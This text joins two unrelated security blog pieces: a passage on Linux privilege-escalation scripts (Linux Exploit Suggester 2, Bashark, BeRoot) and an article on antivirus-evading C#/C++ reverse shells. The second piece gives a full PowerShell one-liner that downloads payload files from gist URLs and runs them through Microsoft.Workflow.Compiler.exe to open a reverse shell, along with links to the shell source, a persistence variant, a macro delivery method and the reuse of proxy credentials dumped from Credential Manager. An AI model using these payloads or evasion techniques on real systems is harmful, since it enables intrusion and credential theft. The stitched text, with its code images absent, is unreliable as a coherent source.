Let’s Analysis Its result what is brings to us.

OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1

Hostname: Ubuntu

Network Info: Interface, Netstat

Writable Directory and Files for Users other than Root: /home/raj/script/shell.py

Checks if Root’s home folder is accessible

File having SUID/SGID Permission

For example: /bin/raj/asroot.sh which is a bash script with SUID Permission

Linux Exploit Suggester 2

Next-generation exploit suggester based on Linux_Exploit_Suggester. This program performs a ‘uname -r‘ to grab the Linux operating system release version, and returns a list of possible exploits.

This script is extremely useful for quickly finding privilege escalation vulnerabilities both in on-site and exam environments.

Key Improvements Include:

  • More exploits
  • Accurate wildcard matching. This expands the scope of searchable exploits.
  • Output colorization for easy viewing.
  • And more to come

You can use the ‘-k’ flag to manually enter a wildcard for the kernel/operating system release version.


Bashark aids pentesters and security researchers during the post-exploitation phase of security audits.

Its Features

  • Single Bash script
  • Lightweight and fast
  • Multi-platform: Unix, OSX, Solaris etc.
  • No external dependencies
  • Immune to heuristic and behavioural analysis
  • Built-in aliases of often used shell commands
  • Extends system shell with post-exploitation oriented functionalities
  • Stealthy, with custom cleanup routine activated on exit
  • Easily extensible (add new commands by creating Bash functions)
  • Full tab completion

Execute following command to download it from the github:


To execute the script you need to run following command:

The help command will let you know all available options provide by bashark for post exploitation.

With help of portscan option you can scan the internal network of the compromised machine.

To fetch all configuration file you can use getconf option. It will pull out all configuration file stored inside /etcdirectory. Similarly you can use getprem option to view all binaries files of the target‘s machine.


BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege. This tool does not realize any exploitation. It mains goal is not to realize a configuration assessment of the host (listing all services, all processes, all network connection, etc.) but to print only information that have been found as potential way to escalate our privilege.


To execute the script you need to run following command:

It will try to enumerate all possible loopholes which can lead to privilege Escalation, as you can observe the highlighted yellow color text represents weak configuration that can lead to root privilege escalation whereas the red color represent the technique that can be used to exploit.

It’s Functions:

Check Files Permissions

SUID bin

NFS root Squashing


Sudo rules

Kernel Exploit

Conclusion: Above executed script are available on github, you can easily download it from github. These all automated script try to identify the weak configuration that can lead to root privilege escalation.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Undetectable C# & C++ Reverse Shells

Index Attacks list:

  1. Open a simple reverse shell on a target machine using C# code and bypassing AV solutions.
  2. Open a reverse shell with a little bit of persistence on a target machine using C++ code and bypassing AV solutions.
  3. Open C# Reverse Shell via Internet using Proxy Credentials.
  4. Open Reverse Shell via C# on-the-fly compiling with Microsoft.Workflow.Compiler.exe.
  5. Open Reverse Shell via PowerShell & C# live compiling
  6. Open Reverse Shell via Excel Macro, PowerShell and C# live compiling

C# Simple Reverse Shell Code writing

Looking on github there are many examples of C# code that open reverse shells via cmd.exe. In this case i copied part of the codes and used the following simple C# program. No evasion, no persistence, no hiding code, only simple “open socket and launch the cmd.exe on victim machine”:

Simple Reverse shell C# code

Source code link: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Kali Linux in listening mode

I put my kali in listening mode on 443 port with netcat, compiled and executed my code.

Scan the exe file with no Threats found

As you can see the .exe file is clean for Windows Defender. From AV side no malicious actions ware already performed. This could be a standard results.

file execution on victim machine

Executing file the cmd instance is visible to the user and if the prompt window will be closed the same will happen for the shell.

Running reconnaissance commands on victim machine from Kali Linux

Running the exe file will spawn immediately the shell on my Kali.



C++ Reverse Shell with a little bit of persistence

Trying to go deeper i found different C++ codes with the same goal of the above reverse shell but one has aroused my attention. In particular i founded @NinjaParanoid’s code that opens a reverse shell with a little bit of persistence. Following some details of the code. For all the details go to the original article.

This script has 3 main advantages:

  • while loop that try to reconnect after 5 seconds
  • invisible cmd instance
  • takes arguments if standard attackers ip change
while loop that wait 5 seconds before running
main details
Windows Defender .exe scan

After compiling the code I analyzed it with Windows Defender and no threats were detected. At this time the exe behavior begins to be a bit borderline between malicious and non. As you can imagine as soon as you run the file the shell will be opened after 5 seconds in “silent mode”.

view from attacker’s machine

From user side nothing appears on screen. There is only the background process that automatically reconnects to the Kali every 5 sec if something goes wrong.

view from victim’s machine


VT result


Open C# Reverse Shell via Internet using Proxy Credentials

Reasoning on how to exploit the proxy credentials to open a reverse shell on the internet from an internal company network I developed the following code:

  • combine the peewpw script to dump Proxy credentials (if are present) from Credential Manager without admin privileges
  • encode the dumped credentials in Base64
  • insert them into Proxy authorization connect.

… and that’s it…

Part of WCMDump code
code related to the proxy connection

…before compile the code you need only the Proxy IP/PORT of the targeted company. For security reason i cannot share the source code for avoid the in the wild exploitation but if you have a little bit of programming skills you will write yourself all the steps chain. Obviously this attack has a very high failure rate because the victim may not have saved the domain credentials on the credential manager making the attack ineffective.

Also in this case no threats were detected by Windows Defender and other enterprise AV solutions.

Thanks to @SocketReve for helping me to write this code.

Open Reverse Shell via C# on-the-fly compiling with Microsoft.Workflow.Compiler.exe

Passing over and looking deeper i found different articles that talks about arbitrary, unsigned code execution in Microsoft.Workflow.Compiler.exe. Here the articles: 123.

As a result of these articles I thought … why not use this technique to open my reverse shell written in C#?

In short, the articles talk about how to abuse the Microsoft.Workflow.Compiler.exe service in order to compile C# code on-the-fly. Here an command example:

standard Microsoft.Workflow.Compiler.exe command line

The REV.txt must need the following XOML structure:

REV.txt XOML code

Below you will find the RAW structure of the C# code that will be compiled (same of the C# reverse shell code described above):

Rev.Shell code

After running the command, the following happens:

  1. Not fileless: the C# source code is fetched from the Rev.Shell file.
  2. Fileless: the C# payload is compiled and executed.
  3. Fileless: the payload opens the reverse shell.
Kali with a simple 443 port in listening
Some commands executed from attacker to victim machine

Open Reverse Shell via PowerShell & C# live compiling

At this point I thought … what could be the next step to evolve this attack to something more usable in a red team or in a real attack?

Easy… to give Microsoft.Workflow.Compiler.exe the files to compile, why not use PowerShell? …and here we are:

powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
prompt command line on a victim machine

With this command the PS will download the two files described above and save them on the file system. Immediately afterwards it will abuse the Microsoft.Workflow.Compiler.exe to compile the C # live code and open the reverse shell. Following the gist links:

PowerShell Commands: https://gist.githubusercontent.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f/raw/7806b5c9642bdf39365c679addb28b6d19f31d76/PowerShell_Command.txt

REV.txt code — Rev.Shell code

Once the PS is launched the reverse shell will be opened without any detection.

Attacker view

Open Reverse Shell via Excel Macro, PowerShell and C# live compiling

As the last step of this series of attacks I tried to insert within a macro the Powershell code just described … and guess what?

The file is not detected as malicious and the reverse shell is opened without any alert.

Macro’s code
Scan result
Reverse shell on a victim machine



Many of the detections concern the macro that launch powershell and not for the actual behavior of the same. This means that if an attacker were able to obfuscate the code for not being detected or used other service to download the two files it could, without being detected, open a reversed shell as shown above.


Through the opening of several reverse shells written in different ways, this article wants to show that actions at the limit between good and evil are hardly detected by antivirus on the market. The first 2 shells are completely undetectable for all the AV on the market. The signatures related to the malicious macro concern only generic powershell and not the real abuse of microsoft services.

Critically, the arbitrary code execution technique using Microsoft.Workflow.Compiler.exe relies only on the ability to call a command, not on PowerShell. There is no need for the attacker to use some known PowerShell technique that might be detected and blocked by a security solution in place. You gain benefits such as bypassing application whitelisting and new ways of obfuscating malicious behavior. That said, when abusing Microsoft.Workflow.Compiler.exe, a temporary DLL will be created and may be detected by anti-virus.